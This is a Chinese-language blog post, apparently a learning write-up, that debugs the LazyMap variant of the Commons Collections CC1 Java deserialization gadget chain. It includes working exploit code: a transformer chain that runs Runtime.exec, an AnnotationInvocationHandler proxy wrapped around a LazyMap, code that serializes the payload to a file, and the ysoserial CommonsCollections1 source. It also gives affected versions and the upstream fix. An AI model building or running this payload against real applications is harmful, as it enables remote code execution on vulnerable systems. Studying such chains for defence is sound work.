前景提要 https://lrui1.top/posts/7929b704/
CC1 上文调试了CC1关于TransformedMap.checkSetValue()触发ChainedTransformer.transform()的攻击链,但是之前对Transformer.transform()Find Usage时,还有两个Map:DefaultedMap、LazyMap
其中LazyMap就是CC1的另外一种形式,接下来我们分析下LazyMap
攻击链构造 参考直接的构造 https://lrui1.top/posts/7929b704/#ChainedTransformer-1
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @Test public void testTransform () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }); chainedTransformer.transform("随便输入" ); }
LazyMap LazyMap.get代码如下
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
当map里不存在该元素时,会调用transform
该方法覆写了父类的get,作为其Map接口的实现方法,参考其构造函数
1 2 3 4 5 6 7 protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; }
不能直接访问,但是有一个静态方法,可创建LazyMap
1 2 3 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @Test public void testLazyMap () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }); HashMap<String, String> hashMap = new HashMap <>(); hashMap.put("test" ,"test" ); Map decorate = LazyMap.decorate(hashMap, chainedTransformer); decorate.get("map不存在" ); }
目前调用链
1 2 3 4 5 6 LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
还需要继续往上找链——要找不是实现Map接口的其他类,调用这个Map.get()方法的类
使用Find Usage,查出来6580个results,找到猴年马月hh
站在前人的肩膀上,我们发现之前构造链中,AnnotationInvocationHandler.invoke方法存在调用Map.get行为
Holishift,分析一波
AnnotationInvocationHandler.invoke() 代码如下,memberValues.get()触发了Map.get()的调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); assert paramTypes.length == 0 ; if (member.equals("toString" )) return toStringImpl(); if (member.equals("hashCode" )) return hashCodeImpl(); if (member.equals("annotationType" )) return type; Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
简单分析其逻辑:获取方法名,赋值给member,判断是否为equals、toString、hashCode、annotationType,都不是的话,调用memberValues.get(member),触发前面构造的攻击链
那么,什么情况下会触发这个invoke呢?根据描述,AnnotationInvocationHandler是用于实现注解(Annotation)动态代理的调用处理程序
动态代理是什么?——可参考 https://blog.csdn.net/qq_59219765/article/details/156390944
这边摘录一个比较重要的总结:
4.1 JDK 动态代理的核心原理
核心依赖:JDK 动态代理的核心是两个类,都在java.lang.reflect包下,无需额外引入依赖: InvocationHandler:调用处理器,定义增强逻辑的核心接口,所有的前置 / 后置增强都写在这个接口的实现类中。
Proxy:代理类的生成器,通过Proxy.newProxyInstance()方法,在运行时动态生成代理对象。 实现要求:目标类必须实现一个或多个接口,JDK 动态代理只能代理「实现了接口的类」。 底层逻辑:JVM 通过反射,读取目标类实现的接口信息,在运行时动态生成一个代理类的字节码,这个代理类会实现和目标类相同的接口,内部持有InvocationHandler的引用,调用代理方法时,最终会转发到InvocationHandler的invoke方法中执行增强 + 目标方法。
AnnotationInvocationHandler.invoke() 触发流程如下:(来源于Gemini3 pro )
创建 Handler: 实例化 AnnotationInvocationHandler,传入一个注解类型(如 Override.class)和一个 Map(通常是存放注解属性值的 Map)。
创建 Proxy: 使用 Proxy.newProxyInstance 创建一个动态代理对象。这个代理对象“假装”实现了某个接口(比如 Map 接口或者某个注解接口),并将上面的 Handler 绑定给它。
调用方法: 只要调用这个代理对象 的任意方法(例如 proxy.size() 或 proxy.value()),JVM 就会自动跳转到 Handler 的 invoke 方法。
总结一句话:被动态代理的对象(使用A类代理对象B),B调用任何方法,都会调用A.invoke方法
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 @Test public void testLazyMapAnno () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }); HashMap<String, String> hashMap = new HashMap <>(); hashMap.put("test" ,"test" ); Map decorate = LazyMap.decorate(hashMap, chainedTransformer); Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate); Map map = (Map)Proxy.newProxyInstance( Map.class.getClassLoader(), new Class []{Map.class}, invoha ); map.isEmpty(); }
目前调用链如下
1 2 3 4 5 6 7 8 (Map)Proxy4.isEmpty() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
能弹计算器
AnnotationInvocationHandler.readObject() 我们之前也分析过它的readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { return ; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
可以看到,readObject中存在memberValue调用方法,如果我们可以让AnnotationInvocationHandler代理memberValue,那么就可以进入到AnnotationInvocationHandler.invoke()方法,触发方法中Map.get的调用。
暂定利用条件如下
AnnotationInvocationHandler属性值type,随便一个值
AnnotationInvocationHandler属性值memberValues是AnnotationInvocationHandler代理LazyMap的对象
此时我们不需要关心for循环里的逻辑,在循环条件:memberValues.entrySet(),已经产生了代理调用,可以触发AnnotationInvocationHandler.invoke()方法了
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 @Test public void testLazyMapCC1 () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }); HashMap<String, String> hashMap = new HashMap <>(); hashMap.put("test" ,"test" ); Map decorate = LazyMap.decorate(hashMap, chainedTransformer); Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate); Map map = (Map)Proxy.newProxyInstance( Map.class.getClassLoader(), new Class []{Map.class}, invoha ); Object payload = constructor.newInstance(Override.class, map); ObjectOutputStream ous = new ObjectOutputStream (new FileOutputStream ("CC1.bin" )); ous.writeObject(payload); System.out.println("ser successfully!" ); } public static void main (String[] args) throws Exception { Scanner sc = new Scanner (System.in); String s = sc.nextLine(); ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(s))); Object o = ois.readObject(); ois.close(); System.out.println("unser successfully" ); User user = (User) o; System.out.println(user); sc.close(); }
成功弹出计算器
至此,还有一个问题:动态代理创建的实例,为什么可以强制转换为Map?
Gemini:因为你调用 Proxy.newProxyInstance 时,第二个参数明确指定了该代理类必须实现 Map 接口。
1 2 3 4 5 Map map = (Map)Proxy.newProxyInstance( Map.class.getClassLoader(), new Class []{Map.class}, invoha );
当你运行这段代码时,JVM 在底层(内存中)做了以下几件事:
动态生成类字节码 :JVM 动态生成了一个新的类(通常命名为 $Proxy0,$Proxy1 等)。
强制实现接口 :根据你传入的第二个参数 new Class[]{Map.class},JVM 让这个新生成的类声明实现 Map 接口 。
继承 Proxy :这个新类默认继承自 java.lang.reflect.Proxy。
如果把 JVM 生成的这个 $Proxy0 类的源码“反编译”出来,它大概长这样(伪代码):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public final class $Proxy0 extends java .lang.reflect.Proxy implements java .util.Map { public $Proxy0(InvocationHandler handler) { super (handler); } @Override public int size () { return (Integer) super .h.invoke(this , m3, null ); } @Override public Object get (Object key) { return super .h.invoke(this , m4, new Object [] { key }); } }
所有的Map接口的逻辑都会交给handle中的invoke处理
总结 调用链如下
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler.readObject() (Map)Proxy4.entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
程序调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126 ) org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123 ) org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158 ) sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77 ) com.sun.proxy.$Proxy0.entrySet(Unknown Source:-1 ) sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) top.lrui1.Unser.main(Unser.java:20 )
影响版本:
commons-collections : 3.1-3.2.1
jdk < 8u71
参考 https://xz.aliyun.com/news/8908#toc-1
ysoserial的实现思路 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 @PayloadTest ( precondition = "isApplicableJavaVersion" ) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.FROHOFF }) public class CommonsCollections1 extends PayloadRunner implements ObjectPayload <InvocationHandler> { public InvocationHandler getObject (final String command) throws Exception { final String[] execArgs = new String [] { command }; final Transformer transformerChain = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (1 ) }); final Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, execArgs), new ConstantTransformer (1 ) }; final Map innerMap = new HashMap (); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); return handler; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); } public static boolean isApplicableJavaVersion () { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }
主要是在getObject方法上,其主要思路就是利用LazyMap+AnnotationInvocationHandler结合动态代理,跟前文的调试思路是一样的。
修复措施 https://github.com/apache/commons-collections/commit/1642b00d67b96de87cad44223efb9ab5b4fb7be5#diff-9b5269539d9bbb441b9b61a41d4ee7faa0877e0b3ca328b9085b36506e95d780
通过重写InvokerTransformer的readObject方法来禁用其反序列化功能
默认情况下,“InvokerTransformer”的反序列化功能被禁用,因为该漏洞可被利用进行远程代码执行攻击。重新启用该功能,系统属性“org.apache.commons.collections.invokertransformer.enableSerialization”需要设置为“true”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public final static String DESERIALIZE = "org.apache.commons.collections.invokertransformer.enableDeserialization" ; private void readObject (ObjectInputStream is) throws ClassNotFoundException, IOException { String deserializeProperty; try { deserializeProperty = (String) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return System.getProperty(DESERIALIZE); } }); } catch (SecurityException ex) { deserializeProperty = null ; } if (deserializeProperty == null || !deserializeProperty.equalsIgnoreCase("true" )) { throw new UnsupportedOperationException ("Deserialization of InvokerTransformer is disabled, " ); } is.defaultReadObject(); }
写在最后 关于已存在的反序列化链CC1总算是调试完了,也学习到了一些对反序列化链的挖掘,利用的思路,可能目前还做不到挖掘一条链,不过我觉得现在可以做到分析别人挖掘出的链就已经很好了
接下来继续调试CC系列反序列化链,坚持年前调完
参考链接 https://www.freebuf.com/articles/web/214096.html